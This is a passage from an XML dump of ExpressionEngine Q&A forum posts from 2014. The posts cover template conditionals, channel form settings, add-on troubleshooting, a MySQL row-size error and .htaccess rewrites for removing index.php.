OwnerUserId="2889" LastActivityDate="2014-08-12T09:13:45.357" Title="Dropdown menu using child structure pages" Tags="|ee2|structure|children|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24358" PostTypeId="2" ParentId="21816" CreationDate="2014-07-12T13:42:27.623" Score="0" Body="&lt;p&gt;I upvoted Derek's suggestion as it makes sense and is most likely the way to go. But you might want to try making the condition a bit simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way you have coded it, if you first condition isn't true then the second condition will always be true. So you don't need 2 if statements. Try using if:else to simplify your conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that you want to show the Portuguese details if the visitor is not in Britain right? So try something like this to make it simpler and may reveal the error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:mc_country default='gb'}&quot; != &quot;gb&quot;}&#xA;    Call our offices in Portugal on (+351) 308 800 878&#xA;{if:else}&#xA;    Call us &amp;lt;i&amp;gt;free&amp;lt;/i&amp;gt; on +44 (0)800 014 8201 from 8am to 8pm&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this says is, if the country code isn't 'gb' then show the Portuguese details, fall back to 'gb' if no code is returned. If no code is returned then default to 'gb' (and so show the 'gb' details.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-12T13:42:27.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24360" PostTypeId="1" CreationDate="2014-07-12T20:02:44.370" Score="1" ViewCount="43" Body="&lt;p&gt;Is there a way when you are viewing entries via the Content &gt; Edit section to pull back all entries by author?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently if I sort the entries by Author I guess it is using the ID to sort by and not the Author Name. We have over 8000 members so for the editor to try and find one is going to be a lengthy exercise.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-08-12T03:08:38.393" Title="Sorting / showing entries by author in control panel" Tags="|control-panel|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24361" PostTypeId="2" ParentId="22495" CreationDate="2014-07-13T00:46:55.533" Score="1" Body="&lt;p&gt;This was a bizarre issue that I eventually figured was due to a recent EE / CartThrob upgrade issue. It was several weeks ago, so I don't have the exact details but this is the basics of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I opened phpMyAdmin, and had a look at the cartthrob_settings table, I saw that the product_channels entry was referencing the wrong channel ids. It was referencing other channels that held regular site content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then went to the CartThrob Modules settings &gt; Products tab and deleted the two product channels in there and pushed submit. But that didn't actually update the product_channels entry in the cartthrob_settings table. I would go to the product channels tab and try and add the product channels, but the updated settings weren't being properly set. Tried different combinations of this for about 20 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I figured I had a botched recent upgrade. I could have tried just editing directly in phpMyAdmin but I figured that there were probably other things that were out of place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I took the store down and uninstalled cartthrob, and went into phpMyAdmin and dropped all the cartthrob tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took screenshots of all the settings I had, reinstalled, applied the settings and everything has been running smoothly ever since. A couple of hours of work, I hope this helps anyone else to figure things out and maybe find a faster route for repairing the issue. &lt;/p&gt;&#xA;" OwnerUserId="1255" LastActivityDate="2014-07-13T00:46:55.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24362" PostTypeId="2" ParentId="24360" CreationDate="2014-07-13T02:11:48.673" Score="2" Body="&lt;p&gt;Sadly the default EE Edit screen does not allow you to  easily sort by authors but this is a great use case for &lt;a href=&quot;http://devot-ee.com/add-ons/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt;. Zenbu allows the admin to filter the content easily by author or even custom field data. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-13T02:11:48.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24363" PostTypeId="1" CreationDate="2014-07-13T02:37:37.060" Score="0" ViewCount="82" Body="&lt;p&gt;I've used low seg2cat on loads of websites in the past without issue. I just tried to set it up on a pretty much vanilla EE 2.8.1 site (only plugins Matrix, Playa, Freeform, Wygwam) and it doesn't seem to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end, none of the extension tags are being parsed (i.e. &quot;{last_segment_category_id}&quot;). In fact if I do a php exit in the extension file, nothing happens on the front end (it will exit if I try to access the control panel though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried uninstalling and reinstalling without any luck just in case something went wrong.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-07-15T03:32:43.383" Title="Low Seg2cat Doesn't Work With EE2.8.1" Tags="|low-seg2cat|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24364" PostTypeId="1" AcceptedAnswerId="24495" CreationDate="2014-07-13T06:00:46.673" Score="0" ViewCount="1228" Body="&lt;p&gt;My frontend has a sidebar that is embedded by most of my frontend's pages. In that sidebar template, there is a conditional that goes something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;   ...&#xA;   ...&#xA;   {embed=&quot;foo/bar&quot;}&#xA;   ...&#xA;   ...&#xA;{/if}&#xA;{if logged_out}&#xA;   ...&#xA;   ...&#xA;   ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The &lt;code&gt;...&lt;/code&gt; indicates plain HTML stuff.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works as expected -- except on my /sign-up/ page. On the /sign-up/ page, it's as if I am logged in. I see the markup inside the &lt;code&gt;{if logged_in}&lt;/code&gt; conditional and the results of the embed. I do not see the markup inside the &lt;code&gt;{if logged_out}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other parts of the page has similar logged_in and logged_out checks -- and they all seem to be working fine. The problem is isolated to just the sidebar. This is very strange to me. Any ideas what might cause this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;{embed=&quot;foo/bar&quot;}&lt;/code&gt;. It contains a SafeCracker Registration form. Here's the opening tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;profiles&quot;&#xA;    class=&quot;form-horizontal apply-nolazy&quot;&#xA;    datepicker=&quot;no&quot;&#xA;    dynamic_title=&quot;[email]&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    id=&quot;registration-form&quot;&#xA;    include_assets=&quot;no&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    loggin_member=&quot;no&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    return=&quot;/sign-up/verify-email-address/&quot;&#xA;    rules:birthdate=&quot;required&quot;&#xA;    rules:gender=&quot;required&quot;&#xA;    rules:profile_name=&quot;required|max_length[25]&quot;&#xA;    rules:user_provided_address=&quot;required&quot;&#xA;    secure_action=&quot;yes&quot;&#xA;    secure_return=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I comment out the embed, the &lt;code&gt;{if logged_in}&lt;/code&gt; and &lt;code&gt;{if logged_out}&lt;/code&gt; checks in the template that embeds the SafeCracker Registration form are respected. It's as if the embedding of the form causes the conditionals to misbehave. Is this somehow a problem with SafeCracker Registration Form?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-07-14T10:06:23.563" LastActivityDate="2015-01-13T22:43:44.333" Title="{if logged_in} not working?" Tags="|templates|conditionals|safecracker-registration|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24365" PostTypeId="1" AcceptedAnswerId="24377" CreationDate="2014-07-13T07:35:38.863" Score="0" ViewCount="463" Body="&lt;p&gt;In my &lt;code&gt;{exp:channel:form}&lt;/code&gt;, I'd like my users to create channel entries with the possibility of having identical titles (this is for a forum). Since EE&quot;s &lt;code&gt;{title}&lt;/code&gt; has to be unique, I created a &lt;code&gt;forum_title&lt;/code&gt; field so that duplicate titles would be allowed in the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now I need to set the title dynamically. I can use &lt;code&gt;forum_title&lt;/code&gt; as part of the title, but I need something else to ensure it's unique. I was hoping I could add the entry id as a suffix, but this didn't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dynamic_title=&quot;[forum_title]-ENTRY_ID&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I ensure that my dynamic_titles are unique?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also, is it possible to pass the value of a channel field to the &lt;code&gt;return&lt;/code&gt; parameter?&lt;/strong&gt; This didn't work for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return=&quot;/forums/ENTRY_ID/[forum_title]/&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-01-10T09:19:26.713" Title="Dynamic Title &amp; Return in Channel Form" Tags="|templates|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24366" PostTypeId="2" ParentId="24356" CreationDate="2014-07-13T08:19:50.123" Score="1" Body="&lt;p&gt;looks like you are mixing up a few things - Structure can render your menu with a variety of tags, as listed on their &lt;a href=&quot;http://buildwithstructure.com/documentation/navigation_examples&quot; rel=&quot;nofollow&quot;&gt;documentation page&lt;/a&gt;. You will find that there are limited options for a dropdown menu, but with some css tinkering you will be able to build a basic version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't meet your requirements you might need to resort to Peter Lewis's &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;Structure Entries&lt;/a&gt; Addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all if this is something you have already tried then I would suggest you ask for Structure's &lt;a href=&quot;http://structure.tenderapp.com&quot; rel=&quot;nofollow&quot;&gt;support&lt;/a&gt; - they are good and very matter of fact.&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-07-13T08:19:50.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24367" PostTypeId="1" CreationDate="2014-07-13T08:55:00.847" Score="1" ViewCount="62" Body="&lt;p&gt;I have a site which has audio files to listen to and optionally download. Restrictions to accessing the file is to become a site member. Is it possible to track that the member has listened (clicked) to the file? This site has Devdemons Store installed, which perhaps could provide a solution?&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-07-14T03:06:05.320" Title="Tracking user's behaviour" Tags="|expresso-store|tracking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24368" PostTypeId="1" CreationDate="2014-07-13T09:03:23.037" Score="1" ViewCount="49" Body="&lt;p&gt;I've been trying to port some 5000 entries of a CSV into ExpressionEngine using the Google Map Import utility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I only seem to be able to import if I segment my CSV into multiple parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSV itself is fine as I tried importing with Datagrab as well and it went without a hitch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting up the Google Map Import, when I select the schema, select my CSV and then hit &lt;code&gt;add to pool&lt;/code&gt; the page refreshes but nothing happens. No warning, error or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segmenting the CSV into multiple chunks seems convoluted and from background reading shouldn't be necessary for what is a relatively small dataset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running 2.8.1 and the latest version of the addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have emailed support as well but wondered if anyone else has had anything similar?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-07-13T09:03:23.037" Title="Google Maps import" Tags="|google-maps-for-ee|import|google-maps|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24369" PostTypeId="2" ParentId="24367" CreationDate="2014-07-13T18:25:17.173" Score="1" Body="&lt;p&gt;If you want to use ExpressionEngine you could use something like Channel Files, which if you use obfuscated links runs it through ExpressionEngine and documents the download in the database. &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-files&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/channel-files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could use JS event tracking.  Google event tracking documentation is here: &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-13T18:25:17.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24371" PostTypeId="1" AcceptedAnswerId="24396" CreationDate="2014-07-14T01:32:10.747" Score="0" ViewCount="133" Body="&lt;p&gt;How can I loop through entries to successfully show static google maps for each entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My google maps field is &lt;code&gt;{event_location}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:module=&quot;low_events&quot;}&#xA;&#xA;{exp:{module}:entries channel=&quot;events&quot; unit=&quot;passed&quot; show_active=&quot;no&quot; limit=&quot;6&quot; status=&quot;open&quot; paginate=&quot;bottom&quot; orderby=&quot;low_events:end&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;figure class=&quot;archive-event&quot;&amp;gt;&#xA;{exp:gmap:static_map markers=&quot;{event_location&quot;}&#xA;&amp;lt;/figure&amp;gt;&#xA;&#xA;&#xA;{/exp:{module}:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment it shows the default Google map and the entire geocode data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpurH.png&quot; alt=&quot;Current result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help or guidance.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-07-14T17:01:04.367" Title="Loop through Channel Entries to display multiple static maps" Tags="|channel-entries|google-maps-for-ee|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24372" PostTypeId="2" ParentId="23764" CreationDate="2014-07-14T01:47:13.780" Score="1" Body="&lt;p&gt;When I experienced similar issues, the solution boiled down to jQuery conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &lt;code&gt;include_jquery=&quot;yes&quot;&lt;/code&gt; in your Channel Form tags, make sure you haven't included jQuery via a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag anywhere else on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt;, make sure that you &lt;em&gt;have&lt;/em&gt; defined jQuery, and make sure you're using the 1.8 branch. (1.9 removed a deprecated &quot;msie&quot; property that Channel Form uses.)&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-07-14T01:47:13.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24373" PostTypeId="1" CreationDate="2014-07-14T02:21:16.110" Score="0" ViewCount="52" Body="&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an Exp-resso Store Product field to an existing channel field&#xA;group. &lt;/li&gt;&#xA;&lt;li&gt;Populate the product data for every entry in that channel.&lt;/li&gt;&#xA;&lt;li&gt;Delete the store custom field from the channel field group &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store still thinks these products exist. They still show up in the Inventory page and the old entries (that used to have a product field) show up in all the &quot;match product&quot; fields for setting up discounts, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When deleting the store custom field from the channel field group, it seems that the corresponding entries in the Exp-resso Store Products database table should be deleted too, but they are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove a Store Custom Field from a Channel Field Group that will cause the corresponding entries in the Store Products database table to be deleted?&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2014-08-20T01:43:07.290" Title="Exp-resso Store Orphaned Products after Channel Field Removed" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24374" PostTypeId="1" CreationDate="2014-07-14T03:00:48.747" Score="1" ViewCount="405" Body="&lt;p&gt;we are growing company and we support and use EE for more than 4 years and continues, because we believe in it, and it is our choice ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ways, I was in interesting discussion with a developer about how healthy &amp;amp; good enough is it to use ExpressionEngine for web services, web apps, cloud services, dating website or CRM for public such as paid services etc...&#xA;and that will be our development methodology in our business so every one has the same level experience to make faster development.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But his opinions about using EE are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It works only for small projects such as blog or website.&lt;/li&gt;&#xA;&lt;li&gt;custom development in EE is wasting of time.&lt;/li&gt;&#xA;&lt;li&gt;We will get bad performance with database Inflation. &lt;/li&gt;&#xA;&lt;li&gt;it uses MYSIM mysql engine.&lt;/li&gt;&#xA;&lt;li&gt;it dose not support other data bases.  &lt;/li&gt;&#xA;&lt;li&gt;it is better to built application with custom development using php framework such as&#xA;laravel, or zend because it is faster and more solid.&lt;/li&gt;&#xA;&lt;li&gt;it has no powerful permission system.&lt;/li&gt;&#xA;&lt;li&gt;you should keep it as CMS nothing else.&lt;/li&gt;&#xA;&lt;li&gt;Don't put all the eggs at one basket. EllisLab won't be here for every&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My opinions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it is better way to develop custom forms and fast way to implement design.&lt;/li&gt;&#xA;&lt;li&gt;I think Custom development with EE is easy because the learn is short with Grate documentation.&lt;/li&gt;&#xA;&lt;li&gt;it is easy to develop and custom your work online using (control panel).&lt;/li&gt;&#xA;&lt;li&gt;you can use built your backend for your end users as backend using Channel:forms.&lt;/li&gt;&#xA;&lt;li&gt;it has many many tools and embedded features starting from login and &lt;strong&gt;security&lt;/strong&gt; ends to Word Censoring, so you wont need to reinvent the wheel.&lt;/li&gt;&#xA;&lt;li&gt;it may wont safe time but it is a solid framework and has allot of add-ons to extend.&lt;/li&gt;&#xA;&lt;li&gt;ExpressionEngine will work will with the good hardware and well configured servers.&lt;/li&gt;&#xA;&lt;li&gt;accountability for the project ( if I lose my programmer I will find someone to help), ellislab support.&lt;/li&gt;&#xA;&lt;li&gt;I have experience with 2 web services both are walking without a limping .&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After all, we did not come out with any result So I thought about asking the experts.&#xA;am i overestimate of expressionEngine value? or just he is right.&#xA;your honest will help us to set some rules :)&#xA;thanks for advance in helping  &lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2014-07-14T15:11:44.823" Title="is it healthy to built a web services or a web app using EE?" Tags="|add-on-development|database|advanced-conditionals|development|cloudfront|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24377" PostTypeId="2" ParentId="24365" CreationDate="2014-07-14T04:25:57.197" Score="1" Body="&lt;p&gt;From my understanding, the &lt;code&gt;title&lt;/code&gt; does not need to be unique, only the &lt;code&gt;url_title&lt;/code&gt;. If you create two entries with the same &lt;code&gt;title&lt;/code&gt; ExpressionEngine will append &lt;code&gt;-1&lt;/code&gt; to the second &lt;code&gt;url_title&lt;/code&gt; for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for redirecting, I would return to a simple template &lt;code&gt;return=&quot;/forums/submit&quot;&lt;/code&gt; and on this template run a channel entries loop, grab the latest post, and create the redirect link manually &lt;code&gt;{redirect=&quot;/forums/{entry_id}/{url_title}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-07-14T04:25:57.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24378" PostTypeId="1" AcceptedAnswerId="24383" CreationDate="2014-07-14T08:34:07.800" Score="2" ViewCount="513" Body="&lt;p&gt;The error occurs when I try to add a new custom field of any kind. The install contains 210 custom fields but will not accept any more. Any advice to troubleshoot would be great. Further details below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE 2.7.2&lt;/strong&gt;&#xA;Fieldtype addons: Matrix, Playa, Wygam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Database error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1118&#xA;Row size too large (&gt; 8126). Changing some columns to TEXT or BLOB or using ROW_FORMAT=DYNAMIC or ROW_FORMAT=COMPRESSED may help. In current row format, BLOB prefix of 768 bytes is stored inline.&#xA;UPDATE &lt;code&gt;exp_channel_data&lt;/code&gt; SET &lt;code&gt;field_ft_233&lt;/code&gt; = 'none'&#xA;Filename: libraries/api/Api_channel_fields.php&#xA;Line Number: 1454&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 572&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 572&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 572&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 572&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 572&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 572&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-07-14T10:33:42.737" Title="Database error 1118 - Row size too large" Tags="|custom-fields|database-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24379" PostTypeId="1" CreationDate="2014-07-14T09:36:29.923" Score="0" ViewCount="478" Body="&lt;p&gt;&lt;strong&gt;(Edit 7/17/2014) Forgot to mention earlier:&lt;/strong&gt; I am using ExpressionEngine, Wygwam, and Structure together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set link type to &quot;link to anchor in text&quot;... but that's only for the current document...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately I can set link type to &quot;structure page&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I set link type to &quot;anchor within structure page&quot;? It's not an option, but is there a way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can hardcode the link in by setting link type to &quot;URL&quot; and just typing it in with the #anchor at the end... but I am trying to avoid this so that the link will work in the future if I change the page name/location within structure.&lt;/p&gt;&#xA;" OwnerUserId="3148" LastEditorUserId="3148" LastEditDate="2014-07-17T13:12:51.513" LastActivityDate="2015-03-14T18:22:19.880" Title="How do I link to an anchor within a Structure Page?" Tags="|structure|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24383" PostTypeId="2" ParentId="24378" CreationDate="2014-07-14T10:33:42.737" Score="5" Body="&lt;p&gt;You are hitting the limits of InnoDB. It might work to change your table to the MyISAM engine (backup before changing this), as the limits of MyISAM are larger compared to InnoDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this can cause an performance hit as table locking acts different on MyISAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also replace all VARCHAR fields (with more than 10 characters) with a TEXT field. They are using less bytes and thus reducing the total row size.&lt;/p&gt;&#xA;" OwnerUserId="858" LastActivityDate="2014-07-14T10:33:42.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24384" PostTypeId="1" AcceptedAnswerId="24390" CreationDate="2014-07-14T10:35:56.107" Score="0" ViewCount="124" Body="&lt;p&gt;I am currently using ex-presso store and have mapped it to the zoo visitor fields. When i complete an order, the user shipping and billing details are not saved or updated at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;code&gt;{exp:zoo_visitor:details {global:disable_categories}}&lt;/code&gt; tag to surround the member info form and using the &lt;code&gt;{visitor:global:mbr_user_shipping_phone}&lt;/code&gt; formatted tags for the values of the text boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can look at to solve this? I don't know what I am missing?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-14T14:26:42.917" Title="Zoo Visitor Member Fields Not Updating" Tags="|expresso-store|ee2|zoo-visitor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24387" PostTypeId="2" ParentId="24348" CreationDate="2014-07-14T12:34:29.097" Score="1" Body="&lt;p&gt;It seems as though the conditions inside the parentheses don't need the curly braces. At least this has fixed it for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if (downloads:total_rows &amp;gt; 0 || section_2:total_rows == 1) &amp;amp;&amp;amp; {section_1:total_rows} == 1}&#xA;    Content...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-07-14T12:34:29.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24389" PostTypeId="1" CreationDate="2014-07-14T14:25:03.907" Score="1" ViewCount="3866" Body="&lt;p&gt;in one of my sites I had to enable &quot;Force URL query strings&quot; because my hosting provider doesn't have &quot;URL Segment Support&quot; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the permissions to change Apache configuration file directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove index.php I have this .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AcceptPathInfo On&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;   RewriteEngine On&#xA;   RewriteBase /&#xA;&#xA;   # Removes index.php from ExpressionEngine URLs&#xA;   RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;   RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;   RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;   # Directs all EE web requests through the site index file&#xA;   RewriteCond %{REQUEST_FILENAME} !-f&#xA;   RewriteCond %{REQUEST_FILENAME} !-d&#xA;   RewriteRule ^(.*)$ /index.php?/$1 